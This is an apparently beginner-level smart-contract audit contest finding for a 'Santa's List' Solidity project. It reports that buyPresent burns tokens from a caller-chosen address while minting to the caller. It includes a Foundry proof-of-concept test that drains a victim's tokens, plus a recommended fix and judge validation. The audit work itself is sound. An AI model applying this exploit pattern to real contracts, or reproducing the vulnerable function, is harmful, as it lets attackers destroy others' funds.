First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Bug in buyPresent Function Enables Burning Others' Pre-Approved ERC20 Tokens and Minting Free NFTs

forkforkdog

Summary

The presentReceiver input in buyPresent(address presentReceiver) function used as address to burn tokens from, which leads to unathorized burning.

Importantly, this attack is possible if only user approved >= 1e18 tokens to the contract.

Vulnerability Details

In the buyPresent(address presentReceiver),

function buyPresent(address presentReceiver) external {
@> i_santaToken.burn(presentReceiver);
_mintAndIncrement();
}

presentReceiver is an input value for the burn function

function burn(address from) external {
if (msg.sender != i_santasList) {
revert SantaToken__NotSantasList();
}
@> _burn(from, 1e18);
}

At the same time minted NFT is going to the msg.sender

function _mintAndIncrement() private {
@> _safeMint(msg.sender, s_tokenCounter++);
}

As a result, presentReceiver is effectively paying for the attackers NFTs.

Impact

Foundry tests will look like this:

function test_burnAllUserTokens() public {
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
​
vm.startPrank(user);
for (uint256 i; i < 69; i++) {
santasList.collectPresent();
santasList.transferFrom(user, userBag, i);
}
@> assertEq(santaToken.balanceOf(user), 69e18);
​
//allowance is required
santaToken.approve(address(santasList), type(uint256).max);
​
vm.stopPrank();
​
vm.startPrank(grinch);
for (uint256 i; i < 69; i++) {
@> santasList.buyPresent(user);
}
@> assertEq(santaToken.balanceOf(user), 0);
assertEq(santasList.balanceOf(grinch), 69);
vm.stopPrank();
}

Full test on GitHub repo fork

Tools Used

Foundry

Recommendations

Use msg.sender inside the function body.

- function buyPresent(address presentReceiver) external {
+ function buyPresent() external {
- i_santaToken.burn(presentReceiver) ;
+ i_santaToken.burn(msg.sender) ;
_mintAndIncrement();
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPresent should use msg.sender

Current implementation allows a malicious actor to burn someone else's tokens as the burn function doesn't actually check for approvals.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.